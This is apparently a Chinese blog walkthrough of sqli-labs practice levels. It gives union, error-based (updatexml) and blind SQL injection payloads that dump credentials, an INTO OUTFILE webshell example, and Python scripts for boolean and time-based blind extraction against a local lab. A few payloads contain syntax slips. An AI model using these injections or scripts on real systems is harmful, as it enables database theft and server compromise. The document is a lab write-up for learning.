渗透小游戏,各个关卡的渗透实例

Less-1

首先,可以看见该界面,该关卡主要是SQL注入,由于对用户的输入没有做过滤,使查询语句进入到了数据库中,查询到了本不应该查询到的数据

首先,如果想要进入内部,就要绕过,首先是用 ' 绕过,当然,绕过后会有一个 ' 空余,所以要 "- -空格"或者"--+"来注释掉,然后通过联合查询来查询到用户权限和数据库名

这里"+"号回自动转换为"空格",所以可以用"--+"来注释,但,也因为如此,当真正想使用"+"号时,"+"号会变成"空格",所以,但想使用"+"号时,要用"%2b","%2b"就是"+"号的意思。

bash 复制代码
?id=-1' union select 1 ,user(),database()--+

因为该网页代码id输入有 ' ' ,是字符型注入,要单,双引号闭合,所以要 ' 来绕过。接下来,按照相同的操作,查询出列名,表明和库名,就能进行登录了

注意:一般数据库创建的时候,都会创建"information_chema""mysql""performance_chema"这3个库

Less-2

先看看源代码

这个一眼就知道,是数字型注入,不用单,双引号,所以可以直接进行注入

bash 复制代码
?id=-1 union select 1 ,user(),database()--+

对比上一题,少输一个 ' ,表示不用 ' 来绕过,直接注入就行

Less-5

先查看代码:

看到error,明显应该使用报错注入

bash 复制代码
?id=1' and updatexml(1,concat(0x7e,substr((select group_concat(username,0x3a,password)from users),1,32)0x7e),1)--+

这里我使用updatexml报错函数来注入输出,通过错误报告来显示想要查询的信息,但是,注意:这个输出只能输出32个字节,所以想要查询到后面的数据,可以用substr函数来设置输出字段,如下图:

bash 复制代码
?id=1' and updatexml(1,concat(0x7e,substr((select group_concat(username,0x3a,password)from users),32,64)0x7e),1)--+

updatexml报错注入:

使用有三个参数(XML_document,XPath_string,new_value)

第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc(XML的内容

第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程(是需要update的位置XPATH路径

第三个参数:new_value,String格式,替换查找到的符合条件的数据(是更新后的内容

注意:第一,三个参数可以随便写,主要利用的还是第二个参数(第二个参数需要Xpath格式的字符串,以 "~" 开头的内容不是xml格式的语法,所以 "~" 用0x7e表示,concat()函数为字符串连接函数显然不符合规则,但是会将括号内的执行结果一错误的方式报出,这样就可以实现报错注入了)

Less-6

和Less-5题还是一样的

bash 复制代码
?id=1" and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)--+

Less-7

mysql如何导出webshell,如何上传webshell:

运用outfile函数

还要3个条件,条件苛刻

1、mysql用户权限必须为root
2、必须知道网站的物理路径,使自己能够知道并访问
3、secure_file_priv为空,表示可以导到任何目录下面

但是我的secure_file_priv文件有目录,只能导入到 C:\ProgramData\MySQL\MySQL Server 5.7\Uploads\中,不能导入到指定文件,无法复现。

如果正常secure_file_priv文件中没有代码的话,可以用以下代码进行导出:

bash 复制代码
?id=1')) union select 1,2,"<?php phpinfo();" into outfile "D:/phpstudy_pro/www/sqli/webshell.php";--+

其中"D:/phpstudy_pro/www/sqli/webshell.php"是我自己定义的导出路径,这个你可以根据自己喜好,自己填写要导出到哪里

Less-8


根据输入反馈的结果,可以知道,该页面只有正确时才会显示,输入错误就什么都不显示,那么就可以使用布尔盲注 来解决。

这里我们可以试试自己编写脚本来完成,以下是完成截图和代码:

bash 复制代码
import requests

url = 'http://127.0.0.1/sqli/Less-8/index.php'#题目Less-8的路径

def inject_database(url):
    name = ''#存储将要输出的字符
    for i in range(1, 20):#输出字段的字长
        for j in range(32, 129):#默认显示的字符从32到127,这里我选择129,表示后续没有字符,其实写128也可以
            payload = "1' and ascii(substr(database(), %d, 1)) = %d-- " % (i, j)
            #将databases里面的第一个字截取出来并转换成数值,和j(即%d,每个数字代表对应的字符)进行比较,如果等于则输出
            res = {"id": payload}
            r = requests.get(url, params=res)
            if "You are in..........." in r.text:
                name = name + chr(j)
                print(name)
                break
            else:
                continue

inject_database(url)

这个方法是暴力破解法,用来两个循环,相对来说还是很慢的

还有一个方法,二分查找法,相对来说速度更快

bash 复制代码
import requests
def inject_database(url):
    name = ''
    for i in range(1, 20):
        low = 32
        high = 128
        mid = (low + high) // 2
        while low < high:
            payload = "1' and ascii(substr(database(), %d, 1)) > %d-- " % (i, mid)
            res = {"id": payload}
            r = requests.post(url, params=res)
            if "You are in..........." in r.text:
                low = mid + 1
            else:
                high = mid
            mid = (low + high) // 2

        if mid == 32:
            break
        name = name + chr(mid)
        print(name)

inject_database(url)

当然,后续要查找其他用户,表明之类的只要改一下payload的查询就行

注意:查询代码过长时,要注意括号的规范,我经常因为括号多写或者少写而报错

Less-9


这一题和上一题又有些不同,他无论输入对还是错都只显示一个页面,对于这种反馈,我们可以试试时间盲注

如果输入数据正确,则沉睡3秒或1秒(自己定义沉睡几秒),否则不沉睡

bash 复制代码
import time
import requests
def inject_database(url):
    name = ''
    for i in range(1, 50):
        low = 32
        high = 128
        mid = (low + high) // 2
        while low < high:
            payload = "1' and if(ascii(substr(database(), %d, 1)) > %d, sleep(1), 0)-- " % (i, mid)
            res = {"id": payload}
            start_time = time.time()
            r = requests.post(url, params=res)
            end_time = time.time()
            if end_time - start_time >= 1:
                low = mid + 1
            else:
                high = mid
            mid = (low + high) // 2

        if mid == 32:
            break
        name = name + chr(mid)
        print(name)

inject_database(url)

基本还是差不多的代码,只不过加了个时间限制

这个截图无法展示,自己可以去试试,结果是在1s后运行出来的。

Less-11

查看源代码,发现用户名是字符串输出,那么就可以通过 ' 绕过来获取信息

输入:a' union select 1,user()#查询用户权限

成功查到是root权限

查其他的也行,同样的在用户名输入界面更改代码就行

bash 复制代码
a' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security' --+

Less-13

其实这个和之前的一样,输入错误的话会有报错,那么就可以用报错注入

bash 复制代码
a') and updatexml(1,concat(0x7e,(select user()),0x7e),1)#

Less-15

登录成功和失败都只返回图片

还是编写脚本来试试看:

bash 复制代码
import requests

url = 'http://127.0.0.1/sqli/Less-15/index.php'

def inject_database(url):
    name = ''
    for i in range(1, 20):
        low = 32
        high = 128
        mid = (low + high) // 2
        while low < high:
            data = {"uname": "admin' and ascii(substr(database(), %d, 1)) > %d#" % (i, mid), "passwd": "aaaaaa"}
            r = requests.post(url, data=data)
            if "flag.jpg" in r.text:
                low = mid + 1
            else:
                high = mid
            mid = (low + high) // 2

        if mid == 32:
            break
        name = name + chr(mid)
        print(name)

inject_database(url)

可以成功获得结果

相关推荐
丢爸7 分钟前
网络学习-eNSP配置NAT
linux·网络·学习
沐风ya15 分钟前
NAT技术介绍+缺陷(内网穿透+工具),NAPT(介绍,替换过程,原理,NAT转换表)
linux·服务器·网络
天启代理ip1 小时前
HTTP隧道代理:互联网冲浪的隐形翅膀
服务器·网络·爬虫·网络协议·tcp/ip
6230_1 小时前
关于HTTP通讯流程知识点补充—常见状态码及常见请求方式
前端·javascript·网络·网络协议·学习·http·html
日记成书2 小时前
【无线通信发展史⑨】1791年路易吉·伽伐尼-关于动物电的研究与1800年亚历山大·伏打伯爵-电池:伏打电池
网络·人工智能·学习·职场和发展·信息与通信
achirandliu3 小时前
SOME/IP 通信协议详细介绍
网络·网络协议·tcp/ip·some/ip
開_punk2558_發4 小时前
ZPSCAN - 综合且强大的信息收集工具,附下载链接
安全·web安全·网络安全·系统安全·安全威胁分析
长安初雪4 小时前
计算机网络 第三章: 数据链路层概述
网络·网络协议·计算机网络
铁蛋Q4 小时前
基于udp的socket网络编程
网络·网络协议·udp
一入C++深似海5 小时前
计算机网络八股文之TCP协议
网络·tcp/ip·计算机网络